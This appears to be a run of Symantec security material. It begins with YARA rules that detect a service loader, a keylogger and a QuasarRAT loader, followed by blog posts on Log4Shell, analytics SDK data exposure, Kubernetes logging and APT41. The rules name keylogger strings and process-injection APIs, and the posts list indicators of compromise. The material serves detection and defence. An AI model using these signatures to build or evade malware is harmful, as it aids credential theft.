rule EHAGBPSL_loader
{
meta:
author = "Symantec, a division of Broadcom"
hash = "e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2"
hash = "2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632"
strings:
$s1 = {45 00 00 00 48 00 00 00 41 00 00 00 47 00 00 00 42 00 00 00 50 00 00 00 53 00 00 00 4C} // EHAGBPSL
$s2 = {74 00 00 00 61 00 00 00 72 00 00 00 57 00 00 00 6F 00 00 00 6B} // tarWok
$b1 = "bnRtZ3M=" fullword // ntmgs
$b2 = "TmV0d29yayBNYW5hZ2VtZW50IFNlcnZpY2U=" fullword // Network Management Service
$b3 = "UHJvdmlkZXMgYWJpbGl0eSB0byBtYW5hZ2UgbmV0d29yayBvdmVyIHRoZSBuZXQgcHJvdG9jb2wu" fullword // Provides ability to manage network over the net protocol.
$b4 = "bnRtZ3MuZG" // ntmgs.dll / ntmgs.dat
$b5 = "aW1nMS5qcGc=" fullword // img1.jpg
$c1 = "Wscms.nls" fullword
$c2 = "Wscms.dat" fullword
$c3 = "Wscms.dll" fullword
$c4 = "Wscms.ini" fullword
$c5 = "Images01.jpg" fullword
$e1 = "StartWork" fullword
$e2 = "ServiceMain" fullword
$h1 = {DD 9C BD 72} // CreateRemoteThread
$h2 = {C0 97 E2 EF} // OpenProcess
$h3 = {32 6D C7 D5} // RegisterServiceCtrlHandlerA
$h4 = {A1 6A 3D D8} // WriteProcessMemory
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of ($e*) and (all of ($s*) or any of ($b*) or 3 of ($c*) or all of ($h*))
}
rule keylogger
{
meta:
author = "Symantec, a division of Broadcom"
hash = "3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d"
hash = "789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed"
strings:
$m1 = "BKB_Test" fullword
$m2 = "KLG_sd76bxds1N" fullword
$k1 = "[%d/%02d/%02d %02d:%02d:%02d K-E-Y-L-O-G]" fullword
$k2 = "[%d/%02d/%02d %02d:%02d:%02d C-L-I-P-B-D]" fullword
$k3 = "< Title--%s-- >" fullword
$k4 = "ImpersonateLoggedOnUser Error(%d)" fullword
$f1 = {55 73 65 72 ?? ?? ?? 00 00 00 ?? ?? ?? 6B 65 79 2E} // Userkey.
$f2 = {55 73 65 72 ?? ?? ?? 00 00 00 ?? ?? ?? 64 61 74 2E} // Userdat.
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($k*) or (any of ($m*) and any of ($f*)))
}
rule checkid_loader
{
meta:
author = "Symantec, a division of Broadcom"
description = "BlackHole/BlackSwan / QuasarRAT/xClient loader"
hash = "29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78"
strings:
$s1 = "Call %s.%s(\"%s\") => %d" fullword wide
$s2 = "Assembly::CreateInstance failed w/hr 0x%08lx" fullword wide
$s3 = "checkID"
$s4 = "NULL == checkID hMutex" fullword
$s5 = "checkID Mutex ERROR_ALREADY_EXISTS" fullword
$s6 = "dllmain mutex ERROR_ALREADY_EXISTS" fullword
$x1 = "xClient.Program" fullword wide
$x2 = "LoadPayload" fullword
$m1 = "SFZJ_Wh16gJGFKL" ascii wide
$m2 = "d5129799-e543-4b8b-bb1b-e0cba81bccf8" ascii wide
$m3 = "USA_HardBlack" ascii wide
$b1 = "BlackHole.Slave.Program" fullword wide
$b2 = "NuGet\\Config" wide
$b3 = "VisualStudio.cfi" wide
$p = {E1 F6 3C AC AF AC AC AC A8 AC AC AC 53 53 AC AC 14}
$t = "0s+Nksjd1czZ1drJktPO24aEjISMtsvLy5LJzNjdyNnL1dLY08uS39PRhoSMhIy2jYyPkomNko2IjJKEiIaEjISM"
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 2 of ($s*) and (all of ($x*) or any of ($m*) or all of ($b*) or $p or $t)
}
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Apache Log4j Zero-Day Being Exploited in the Wild
Symantec products will protect against attempted exploits of critical CVE-2021-44228 vulnerability
UPDATE December 20, 2021: The Apache Software Foundation has released a patch for a third vulnerability in Log4j. Version 2.17.0 of the software was released on December 17 after issues were discovered with the previous release (2.16). Apache said that 2.16 does not always protect from infinite recursion in lookup evaluation and is vulnerable to CVE-2021-45105, a denial of service vulnerability.
UPDATE December 15, 2021: Apache has patched a second vulnerability in Log4j. The vulnerability (CVE-2021-45046) arises from the fact that the fix for the previous vulnerability (CVE-2021-44228) did not completely prevent exploits in all circumstances.
According to Apache, the vulnerability occurs in certain non-default configurations. It could permit attackers to “craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack”.
A zero-day vulnerability (CVE-2021-44228) has been discovered in Apache Log4j which, if exploited, could permit a remote attacker to execute arbitrary code on vulnerable systems. Exploit code for this vulnerability, dubbed Log4Shell, has been shared publicly and multiple attackers are already attempting to exploit it.
Q: Will Symantec protect against exploit attempts?
A: Yes, Symantec products will guard against exploit attempts and payloads with the following detections:
File-based
Trojan.Maljava
CL.Suspexec!gen106
CL.Suspexec!gen107
CL.Suspexec!gen108
Miner.XMRig!gen2
Ransom.Khonsari
Ransom.Tellyouthepass
Ransom.Tellyouthepa!g1
Ransom.Tellyouthepa!g2
Linux.Kaiten
Trojan Horse
Machine learning-based
Heur.AdvML.C
Network-based
Attack: Log4j2 RCE CVE-2021-44228
Attack: Log4j2 RCE CVE-2021-44228 2
Attack: Log4j CVE-2021-45046
Attack: Malicious LDAP Response
Audit: Log4j2 RCE CVE-2021-44228
Audit: Malicious LDAP Response
Audit: Suspicious Java Class File Executing Arbitrary Commands
Email-based
Coverage is in place for Symantec's email security products
Symantec Data Center Security provides a range of protection for server workloads against this vulnerability:
Prevention policies prevent malware from being dropped or executed on the system
Ability to block or limit LDAP, http, and other traffic from server workloads and containerized applications using Log4j to internal trusted servers
Prevention policies sandboxing provides protection from remote code execution by preventing execution of dual use tools, credential theft, and protecting critical system files and resources
Web-based
WebPulse observed traffic is currently protected for the Log4jShell vulnerability through normal processes
Q: What is the significance of this vulnerability?
A: Apache Log4j is a java-based logging utility. It is widely used in cloud and enterprise software services. The fact that an exploit was discovered prior to the creation of a patch only heightens the severity of the threat.
Q: Has the vulnerability been patched?
A: Yes, users are advised to update to version 2.15.0 immediately. Apache has also provided mitigation advice for users of earlier versions.
Q: Is this vulnerability being exploited in the wild?
A: Yes. Exploit code is publicly available and there are multiple reports of exploit attempts. To date, activity appears to be mainly centered on coin mining botnets but it is only a matter of time before attackers of all types attempt to leverage this exploit.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Learn More Now
1. Broadcom Response to Log4j Vulnerability
2. Symantec Security Advisory
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A Perspective: Gartner Magic Quadrant For Endpoint Protection Platforms
Cyber attacks are growing in volume and sophistication. Attacks and compliance volatility is impacting every geography and vertical.
Gartner recently released its Magic Quadrant for the Endpoint Protection Platforms and it places Symantec in the Leaders quadrant, furthest in vision and highest in execution. Gartner objectively measures each vendor included in the report through a lengthy questionnaire, interviews of several customers and partners, extensive demonstrations of the solutions, and in-depth analysis. For Completeness of Vision, Gartner looks at market understanding, marketing strategy, offering (product) strategy, innovation, and geographic strategy. For Ability to Execute, Gartner looks at a multitude of factors including sales execution and pricing, customer experience, partner experience, market responsiveness and record, and overall financial viability. Gartner defines a leader as demonstrating “balanced and consistent progress and effort in all execution and vision categories. They have broad capabilities in advanced malware protection, and proven management capabilities for large enterprise accounts.”
We believe our Integrated Cyber Defense Platform and the integrations our R&D team delivered are critical to our customers and what define a true Endpoint Protection Platform. Keeping businesses and organizations secure is an ongoing challenge. Cyber attacks are growing in volume and sophistication. Attacks and compliance volatility is impacting every geography and vertical. Add a shift toward the cloud, an expanded perimeter, and a shortage of cyber security talent and it all adds up to enormous challenges for CISOs of any size enterprise. The smartest way to deal with that challenge is to take a platform approach—giving CISOs a strengthened security posture, operational efficiencies, reduced complexity, and lower costs.
Organizations must deal with multiple devices connecting to the cloud and transmitting company data. Integrating technologies like deception technology, mobile threat defense for corporate-owned and BYOD devices, endpoint detection and response, signatureless protection via machine learning techniques and application isolation with SEP Hardening all up-level Symantec Endpoint Protection to a full platform.
We are proud that Gartner recognized Symantec as the vision and execution leader in the Endpoint Protection market. We believe the strength of the Symantec Partner Community was critical to the recognition as a vision and execution leader. While the Endpoint Protection Platform is innovative and at the heart of the analysis, Gartner also considers customer support and feedback from customers. Partners continue to play a critical role in serving our mutual customers, and in our opinion our placement in the 2018 Magic Quadrant reflects a joint success. Together, we have industry-leading solutions, technical expertise, and strong customer support that serves our customers well and keeps them protected, even in the face of a dynamically changing cyber security landscape.
I want to thank you for your exceptional support of our business. If you’d like to read more about the 2018 Gartner Magic Quadrant, you’ll find it here: https://www.gartner.com/doc/reprints?id=1-4PP0XEC&ct=180126&st=sb
Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.
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App Analytics SDKs Could Expose Sensitive Data
The Symantec mobile team explains how popular mobile apps are using screen-recording SDKs to collect data on users – data that can be exposed in the absence of security measures
Your mobile screens are being recorded.
At a time when user experience can make or break a business, app developers are turning more and more to third-party app analytics tools to help them get insight on how customers interact with their apps. Glassbox, Appsee, TestFairy, and UXCam are a handful of popular analytics SDKs used by app developers to track in-app user behavior, crashes, bugs, and other issues that may impact the business. Many of these SDKs collect data by recording mobile device screens – at best, these recordings can be useful for understanding user behavior; at worst, they can be leaked, exposing sensitive data if information is not concealed properly.
This is what happened recently in several widely-used iPhone apps of hotels, airlines, cell phone carriers, banks, and others, using analytics SDKs to record their users’ screens. According to the TechCrunch blog post that first broke the story, popular travel apps used the Glassbox analytics SDK for “session replays” and screen-recording of user behavior, but failed to explicitly mention this in their privacy policies leaving their customers with no idea their actions were being captured. Since SDKs like Glassbox do not require app developers to mask sensitive data captured from screen recordings or to securely store and transfer session replay files, anyone who has access to the recording files can see the sensitive data.
In the aftermath of the TechCrunch report, Apple issued a warning to app developers, ordering them to remove the analytics code from their apps or properly inform users of the screen recordings. Failing to comply, Apple said, would result in the app being removed from the company’s App Store.
Sensitive Data Not Being Masked Properly
While gathering information such as crash date and time is harmless, SDKs can collect more personal data that violates certain privacy policies, especially when the data is not properly obfuscated. The Glassbox SDK can collect almost all data an app user enters into a screen, like passwords and credit card info, as well as mouse movements, clicks, scrolling, swiping, tapping, and more. Generally, the session replays of these activities are sent to the server of the analytics vendor or saved on the app developer’s server. When the data is not concealed properly, anyone who can access the screenshot database can see the information.
This incident is just another salient example of the risk posed to mobile users by apps believed to be secured but which, in fact, are vulnerable to data exposures.
Prevalence of Mobile Apps with Screen Recording Capabilities on Enterprise Devices
Research from Symantec Endpoint Protection Mobile (SEP Mobile), Symantec’s enterprise mobile threat defense solution, found that several other apps used by SEP Mobile customers employed the Glassbox SDK, including banking and credit card apps, putting a user’s financial information at risk of exposure.
We looked into hundreds of apps used by end-users in our enterprise installed base and found the following:
Number of affected Apps using GlassBox SDK:
Number of affected Apps using UXCam SDK:
We also found that an app from a popular clothing retailer used another analytics SDK to send user/device information to Com Laude (an online brand protection service) over http:
Attackers can exploit this type of information to geolocate users or profile their behavior, especially when combined with other information collected from a user’s Address Book, Camera, Apple Wallet, and other apps.
Previous research we conducted showed that the risks extend to enterprise. We found that apps with analytics SDKs that are used in enterprise mobile environments can increase the risk of sensitive corporate data being leaked to third-parties, without organizations being able to exercise any control over it. Our research showed that apps with the Appsee and TestFairy SDKs which also have screen-recording abilities, were able to open corporate documents such as Word, Excel and PDF files.
Getting Greater Visibility on Vulnerable Apps
The SEP Mobile research team continuously scans and analyzes apps used by our installed base for risky behaviors. In response to TechCrunch’s Glassbox report, our team analyzed all analytics SDK-using apps in our customer mobile environments and identified those that may be vulnerable to data exposures.
SEP Mobile customers can use our powerful app analysis engines to identify and protect against apps that may be vulnerable to data exposures, whether due to third-party analytics SDKs or other risky or unwanted behaviors. Apps that are found to be non-compliant with an organization’s mobile security policy can be flagged, allowing admins to take actions to mitigate the risk of corporate data leakage.
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Application Logging in Kubernetes
Using node-level logging agent
At Broadcom, many of our Identity Security products run on Kubernetes. Given this, I will be covering a series of discussions focused on Kubernetes, in order to provide our customers with best practices and advice on how to troubleshoot applications in Kubernetes.
Note: Throughout the article we will use the following terms interchangeably: log aggregator, log ingestion tool, log forwarder – A tool that is able to read logs from a certain input and stream it to a log repository. e.g. Logstash, Fluentd, FluentBit, Splunk Forwarder. log repository, centralized log storage – a component capable to store a large volume of log data. e.g. ElasticSearch, Splunk. Container engine – an engine that handles running containers on a host. e.g. dockerd, docker-engine
Most applications support the generation of log messages to track events, configuration changes, and errors. Often, these logs are stored in local files. When working with such log files, one has to consider how to maintain them to avoid running out of disk space (roll-over, max file size, number of log files to preserve), and, in the case of applications that have multiple instances, how to track events over multiple instances. These challenges call for externalizing and storing all log messages in a centralized repository, to allow for querying, alerting, and tracking of issues and activities reported by the application across all of its instances.
Running applications in containers stresses the need for externalizing the logs because of the transient nature of containers and the dynamic nature of the containers environment, where scaling (creation and deletion of instances) can happen frequently.
In this article, we will see how to handle the collection and aggregation of the logs from applications running in containers on Kubernetes, into centralized log storage.
Kubernetes offers 3 ways for application logs to be exposed off of a container
(see: Kubernetes Cluster Level Logging Architecture):
Use a node-level logging agent that runs on every node. It uses a Kubernetes/Docker feature that saves the application’s screen printouts to a file on the host machine.
This is recommended and the most common facility of handling application logs and would be covered in more detail below.
Use the side-car pattern in the application’s pod to run a Log Forwarder container together with the main application container. In this option, the Log Forwarder Sidecar container runs alongside the application container and sends the application log file content directly to the log storage (Elastic Search, Splunk, etc.). The Log Forwarder can be a Fluentd sidecar container that streams the file content to elastic-search, a Splunk Universal Forwarder that sends data to Splunk, Filebeat, etc.
Push logs directly from within the application to a backend. This option requires the application to be aware of the centralized log storage and to use a special API to communicate and send log data to it. This option may also cause the application to be directly dependent and coupled with the log storage and its availability. An example of this option can be adding support for sending log messages to Kafka to be handled and sent from there, or sending the log message directly using the log-storage API (like Splunk, ElasticSearch, etc.).
In this article, we will concentrate on the first approach, using a node-level logging agent.
Using Node-Level Logging Agent
The Node-Level Logging Agent approach assumes that the containerized application prints all of its log messages to its (the container’s) console i.e. its standard output and standard error (stdout/stderr). It then uses the functionality of the container engine (e.g. Docker engine) to save the container level logging a certain folder on the host machine (node).
Collecting Logs on the Node
According to the 12 factors app methodology, an application should print its log messages to stdout/stderr. When running a Docker container, the Docker Engine captures and persists stdout and stderr of the container according to the configured logging driver.
Docker supports multiple docker logging drivers. The logging driver can be configured:
Via a command-line option specified when starting the Docker daemon. These options can be set in a number of ways, for example, by adding –log-driver=journald to the OPTIONS environment variable in /etc/sysconfig/docker.
By specifying the log driver in /etc/docker/daemon.json. This is the recommended way since it’s platform-independent. Note however that if the setting in the daemon.json file and the options on the dockerd command conflict, Docker will fail to start.
Note: If daemon.json is not used, check whether dockerd is being initialized with –config-file option.
To determine the current logging driver, use the following command:
docker info | grep -i log
If no log driver is specified, the default log driver is json-file. It is recommended to use the json-file log driver for log aggregation in Kubernetes. This driver would save the logs in a JSON format on the host machine using the following directory structure: /var/lib/docker/containers/{ContainerId}.
Since saving the logs is done by the Docker engine, these files are named according to their container id without reference to their Kubernetes context, a fact that makes it difficult to identify their origin. Kubernetes resolves this by creating a symbolic link for each log that contains the pod name, namespace, container name, and Docker containerId as follows: /var/log/containers/{PodName}_{Namespace}-{ContainerName-ContainerId}.log –> /var/lib/docker/containers/{ContainerId}/{ContainerId}-json.log.
Log Rotation
It is important in node-level logging to make sure that log rotation is being handled. Log rotation is required so that logs don’t consume all available storage on the node. Kubernetes currently is not responsible for rotating logs. Log rotation can be handled by the docker json-file log driver by setting the max-file and max-size options.
e.g.
Set daemon.json with the following values:
{
“log-driver”: “json-file”,
“log-opts”: {
“max-size”: “10m”,
“max-file”: “3”
}
}
Or set sysconfig/docker OPTIONS variable to include “–log-opt max-size=50m –log-opt max-file=5‘”
This option would have the Docker log driver automatically rotate the logs when they reach the specified size, and remove old log file as needed.
Some Kubernetes deployment tools may already configure some scheduled task that takes care of log rotation.
Note that since the kubectl logs command returns that content of these log files (as read and returned by the kubelet on the pod’s node) there may be a situation where kubectl logs return an empty output.
Forwarding Logs to a Centralized Log Repository
Once all of the containers’ logs are saved on their respective nodes, we will need to use a log forwarder to collect and send them to a centralized log-repository, for example, we can use a Splunk Forwarder to forward messages into Splunk, or Fluentd to send the log messages to ElasticSearch (the EFK stack – ElasticSearch, Fluentd, Kibanna).
Since Kubernetes can schedule out our application’s pod to run on any node in our cluster, we will need to have a Log Forwarder instance running on every node in the cluster. In order to guarantee that every node in our cluster is running the log forwarder, Kubernetes offers us a construct called “DaemonSet”. Unlike a Deployment where one can specify the desired number of instances (replicas) of a pod (but not on which node they are going to run), a DaemonSet will make sure that every node in the cluster runs an instance of its pod. Whenever a new machine joins the cluster, the DaemonSet pod will be scheduled to run on it. Therefore, by defining a log-forwarder DaemonSet we guarantee that each node in the Kubernetes cluster is going to have one running on it. Each instance of the log forwarder mounts a hostPath volume which points to the node’s logs folder and streams all of the logs into the centralized log repository.
What to do when my app doesn’t support writing logs to stdout:
For applications that write their logs into files and do not support writing their logs to stdout/stderr, or for applications that have multiple log files, there are a couple of options that allow sending the logs to stdout without making changes to the application.
Use ln to create a symbolic link to stdout in place of the log file so that when the application writes to the file, it will actually write to stdout.
For example, see nginx docker file:
# forward request and error logs to docker log collector
RUN ln -sf /dev/stdout /var/log/nginx/access.log \ &&
ln -sf /dev/stderr /var/log/nginx/error.log
This approach may not always work, for example, if the application keeps using different log file names or renames the log file on start-up. This option is also not sufficient when the application has multiple log files that we want to expose.
Use a side-car container that will ‘tail -F’ the log file as it’s being written by the main application container. In order to accomplish this, a lightweight container should be added to the application’s pod definition, this pattern (when the main application container has a “helper” container that runs along with it) is called sidecar.
The application container and the sidecar container must be able to access the same log file. This is done by:
defining a volume of type emptyDir in the application pod.
mounting that volume into both the application container and the sidecar container (using volumeMounts).
Make sure the application writes it log to that mounted volume folder. This way, when the application writes its log file to that location, the sidecar container will be able to read it.
e.g.
spec:
containers:
– name: mainApp
image: mainApp:latest
volumeMounts:
– name: mainApp-logs-dir
mountPath: /opt/mainApp/logs
– name: mainApp-log
image: log-collector:latest
args: [/bin/bash, -c, ‘tail -n+1 -F /opt/mainApp/logs/app.log’]
volumeMounts:
– name: mainApp-logs-dir
mountPath: /opt/mainApp/logs
volumes:
– name: mainApp-logs-dir
emptyDIR: {}
Note that with this approach, since the application would still write to a file, the application itself would have to take care of rolling the file after a certain size to avoid running out of space/memory (depending on the emptyDir medium).
An advantage of this approach is that in case the application has more than one type of logs that should be exposed, we would be able to create a side-car container for each log file. This would make sure that each log is handled separately.
Converting Traditional Log Output to JSON
Once the application logs go through the json-file Docker log driver, they show in /var/log/containers folder in the following format (JSON formatted with spaces and newlines for readability):
{
“log”:”[02:36:43] – example message\n”,
“stream”:”stdout”,
“time”:”2019-09-24T02:36:43.777792885Z”
}
When aggregating logs from and different applications and different components, it is important that these logs would be sent in a unified format. Log forwarding tools such as Fluentd/FluentBit can be configured to transform a plaintext log message into JSON format (although multiline messages are still problematic, see https://github.com/fluent/fluent-bit/issues/1115).
Alternatively, plain log messages can be converted to JSON format on the container level, before being sent to stdout (to be collected by the container-engines log driver). This conversion can be done by passing the output of ‘tail’ through a conversion program that converts the plain log messages to JSON format.
tail -n+1 -F /opt/mainApp/logs/app.log | gawk -f /opt/mainApp/bin/log2json.awk
For example, the command line to /bin/bash described above could be changed to:
Where /bin/log2json.awk is a GAWK script that takes care of UTF-8 encoding, wrapping of multiline log entries, and conversion to JSON format. This approach should be used in case the log messages are in a complex format (including multiline log messages) and require custom transformation into a JSON format that takes care of the edge cases (see the section below for edge cases that may have to be handled).
Note that with this approach, the application’s JSON log messages will be encapsulated and escaped by the container engine log driver into the log field. This will require the log forwarder to un-escape the JSON string. For example, in Fluent-bit this can be done using a parser’s decorator Decode_Field json log parameter.
Another enhancement to the log can be to identify the time field name and its format, to make sure the log repository stores the message with its original timestamp and not with the time that the message was sent to the container engine.
An example of such filer from fluent-bit can be seen below:
[PARSER]
Name myapp_parser
#Time field example: \”date\”:\”Mon Jul 22 2019 21:58:41\”
Time_Key date
Time_Format %a %b %d %Y %H:%M:%S
Time_Keep On
Format json
# Command | Decoder | Field | Optional Action
# =============|==================|=================
Decode_Field json log
Considerations For Converting Traditional Log Output to JSON
UTF-8 Encoding
Most application logs tend to be in plain ASCII format. There may be instances, though, where applications log user-supplied data without proper encoding, leading to logging of characters that are not valid, well-formed UTF-8 byte sequences. In these cases, the invalid bytes must be encoded using the JSON “\uXXXX” format for each offending byte (where XXXX are four hexadecimal digits) so the result is a valid JSON string.
Encode or Strip Windows Carriage-Return Characters
Logs coming from Microsoft Windows systems or written in Microsoft Windows format end with carriage-return/newline pairs as opposed to UNIX-format lines that end only with a newline. A decision must be made whether the carriage-return characters are important and should be encoded, or if the carriage-return characters should be removed from the end of lines. We tend to prefer stripping over encoding but encoding might make more sense if the carriage-return is actually part of application protocol messages (like HTTP headers).
Multiline Wrapping
Some applications may emit a single log entry that spans multiple lines, e.g. a multiline XML response. These multiline messages must be recognized and formatted such that internal newlines are encoded with “\n” or “\u000a” character sequences instead. This usually requires an understanding of how new log entries begin and/or end, typically specified using a regular expression, to determine that either the next line starts a new log entry (using a beginning regular expression) or that a complete log entry has been read (using an ending regular expression). Tools that process multiline input based on a beginning regular expression should support some sort of read timeout so the last line of the log is not held in memory while the tool waits to observe the start of the next valid log entry.
References
UTF-8, a transformation format of ISO 10646
https://tools.ietf.org/html/rfc3629
The JavaScript Object Notation (JSON) Data Interchange Format
Section 8: String and Character Issues
https://tools.ietf.org/html/rfc8259#section-8
The Unicode Standard: Version 12.1.0 – Core Specification
Chapter 3: Conformance, D92 UTF-8, Table 3-7. Well-Formed UTF-8 Byte Sequences
https://www.unicode.org/versions/Unicode12.1.0/ch03.pdf#G27506
tail(1) Manual Page
http://man7.org/linux/man-pages/man1/tail.1.html
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APT41: Indictments Put Chinese Espionage Group in the Spotlight
Seven men have been charged in the U.S. in relation to attacks by China-linked espionage operation which Symantec monitors as two distinct groups – Blackfly and Grayfly
The U.S. government has charged seven men in relation to hundreds of cyber attacks against organizations in the U.S. and multiple other countries in Asia and Europe. Two of the men, who were based in Malaysia, were arrested and their extradition to the U.S. has been requested. The other five are based in China and remain at large.
The attacks were attributed to a China-linked organization dubbed APT41 and involved a combination of intellectual property theft and financially motivated cyber crime. While some of our peers monitor APT41 as a single operation, Symantec regards it as two distinct actors: Grayfly and Blackfly.
Grayfly
Grayfly has been particularly active in recent years, mounting high volume espionage attacks against organizations spread across Asia, Europe, and North America. They are interested in a wide range of sectors, including food, financial, healthcare, hospitality, manufacturing, telecoms, and government. It is known for using the Barlaiy/POISONPLUG and Crosswalk/ProxIP (Backdoor.Motnug) malware families in its attacks. Victims are frequently compromised by exploiting public facing web servers.
In recent attacks, Symantec has seen Grayfly deploy Backdoor.Motnug against targeted organizations in conjunction with publicly available Cobalt Strike malware. Backdoor.Motnug provides the attackers with comprehensive remote access to the network and creates proxy connections allowing access to hard-to-reach segments of a target network. In one attack against a telecoms provider, Grayfly was seen using an internal tool capable of interacting with an SMS database, demonstrating that intelligence gathering was the motive of the attack.
Prosecutors in the U.S. have charged three Chinese men – Jiang Lizhi, Qian Chuan, and Fu Qiang – with involvement in attacks that involve Grayfly tools and tactics. The trio are based in the Chinese city of Chengdu and all hold senior positions in a company called Chengdu 404. The company describes itself as a network security specialist and claims to employ a team of white hat hackers who can perform penetration testing along with “offensive” and “defensive” security operations.
The indictment alleges that the three men were also involved in attacks against over 100 different organizations in the U.S., South Korea, Japan, India, Taiwan, Hong Kong, Malaysia, Vietnam, India, Pakistan, Australia, the United Kingdom, Chile, Indonesia, Singapore, and Thailand. Jiang was said to have a “working relationship” with the Chinese Ministry of State Security which would provide him and his associates with a degree of state protection.
Blackfly
Blackfly has been active since at least 2010 and is known for attacks involving the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group is best known for its attacks on the computer gaming industry. However, Symantec has also observed attacks on the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.
Recent Blackfly activity observed by Symantec saw the group deploy a slightly modified version of the Winnti malware against a telecoms organization in Taiwan. A feature of the attack was their use of the names of security vendors in naming files in an attempt to avoid raising suspicions. A dropper was signed with an invalid certificate with the subject "McAfee, Inc." The dropper then delivered several DLLs with file names that referenced Symantec software. The attackers had not compromised Symantec software, and were not leveraging it in the attack.
In a separate indictment, prosecutors allege that two Malaysian nationals – Wong Ong Hua and Ling Yang Ching – were involved in attacks that involved Blackfly tools and tactics. Wong is the founder and CEO of a company called Sea Gamer Mall, while Ling is its chief product officer and a shareholder. The duo are alleged to have collaborated with other attackers to mount a string of attacks against computer game companies in order to obtain in-game digital items, such as currencies, and then selling them for profit.
Figure. Alleged links between indicted men provided by U.S. prosecutors
The link between Grayfly and Blackfly
While Grayfly and Blackfly appear to be distinct operations, the indictments allege that there is a link between the two groups. Two Chinese men – Zhang Haoran and Tan Dailin – are charged in a third indictment with collaborating with both groups. The two men are reported to have worked for a time at Chengdu 404, the company that prosecutors identify as linked to Grayfly attacks. However, they are also alleged to have collaborated with the charged Blackfly actors in order to make additional money by mounting attacks on computer gaming companies. The indictment alleges that in several instances, they used their unauthorized access to gaming company networks to kick other attackers off the network, effectively eliminating their competition.
Unwelcome attention
Grayfly and Blackfly have been prolific attackers in recent years and, while it remains to be seen what impact the charges will have on their operations, the publicity surrounding the indictments will certainly be unwelcome among attackers who wish to maintain a low profile. Symantec remains committed to tracking the activity of these groups in order to protect our customers from their attacks.
Protection/Mitigation
Symantec products protect against threats discussed in this blog with the following detections:
Backdoor.Motnug
Backdoor.Korplug
Backdoor.Winnti
Backdoor.Shadowpad
Indicators of Compromise
Group IoC
Grayfly 9436d1602817a27eabeeec37aeea231d1c51374967fab88111aec6f69fd91266
Grayfly 09f43c6da5bd098b843782e60aa4bb3272d8d980ca518e2198a51935442aeb40
Grayfly 723f149e48dcb0d56634a0777c10e22544cd7fa20fb6ec8d18603d7f2853de13
Grayfly 6e4bc3236f579646a8ddfcaa1705b1fee51c54e4b7b5df73471ffe07c25b67ce
Grayfly 7dffb681cc182f497129f54e6127589f654ca46d7cba4ba71080c853454c27b5
Grayfly 76bcda2ebfc327af2654b33e66860e0300e69e6c573a1f3b61db68826e6c2558
Grayfly 8e57ac0c473975e2c057fe3d540a42c56c943bfd429fff084fac177f3a22b947
Blackfly 50749284ea13d19eb7bcbf97c67fdcb711457a6ff2df1f71ebc66256787e164c
Blackfly fc052b4ed84a45a1b0bcad8b5ffa18a5f57d753f0570ac627612b145a7cf7207
Blackfly b3547b6378168eb22e72cf1125c0f68c8159a001a7737ea3bb257fe1bc6d90c8
Blackfly 561294e08cadd3b03da9eec271bd0bf4d20a6509bed80f40f483bc7e17caa678
Blackfly bd739804e7a6e43a4338495603d96e230c48e020435c334354bb6676b5beeb46
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APT – A Significant Risk that Won’t Go Away
A closer look at how Symantec Privileged Access Management technologies protect against APT
Advanced Persistent Threats (APTs) are not new. Ten years ago, there were numerous stories in the news about how APT attacks were used to successfully breach different companies, but these attacks have not stopped. State-backed and well-organized groups continue to leverage APT attacks to breach organizations worldwide today. Additionally, a recent article in Dark Reading reported that new research from BlackBerry found that at least five Chinese APT groups have been involved in a long running campaign to steal intellectual property and other sensitive data, and that “the access these groups have acquired in recent years could allow them to exploit the recent surge in teleworking, due to the COVID-19 pandemic.”
The Primary Attack Steps of an APT Attack
Unfortunately, the APT attack pattern is repeatable and sustainable, which is what makes it so compelling, and worse yet, we know what this pattern is – cyber security teams at Lockheed Martin first identified the attack vector, and they coined the term “kill chains” because disrupting the attack sequence at any point can “kill” the attack.
Attack Steps of an APT Attack
The attack steps are surprisingly simple:
Gain Access and Expand. To access the network, APT Groups will exploit a vulnerability in the system to steal the credentials necessary to gain access to the network.
Elevate Privileges. Once inside, APT Groups will try to elevate their privileges, so they can issue commands and gain access to whatever resources they’re after.
Investigate and Move Laterally. APT Groups rarely land in the exact spot where the data they’re seeking is located, so they’ll investigate and move around in the network to get closer to their ultimate goal.
Wreak Havoc. Once APT Groups have the access they need and have found exactly what they’re looking for, the attackers are free to wreak havoc (e.g., theft, business disruption, etc.).
So, where does Symantec’s Privileged Access Management (PAM) help to disrupt this attack sequence?
The Importance of PAM in Defending Against APT
Although there is no silver bullet to defending against APTs, there are several approaches and technologies, that when combined, help to reduce both the potential for a breach and mitigate the damage if one were to occur. Traditionally, the initial approach was to secure the perimeter using firewalls and intrusion detection systems. These systems are still critical and widely used by many organizations, but as the perimeter is shifting to the “edge”, organizations are moving to Zero Trust models. However, no matter how secure you make your perimeter, you must assume that hackers will find a way inside your outer defenses (they don’t call them “persistent” for nothing), and this is where PAM technologies step in to continue the fight.
PAM technologies implement the principal of Zero Trust and least privileged by only granting policy-based access to these accounts and credentials.
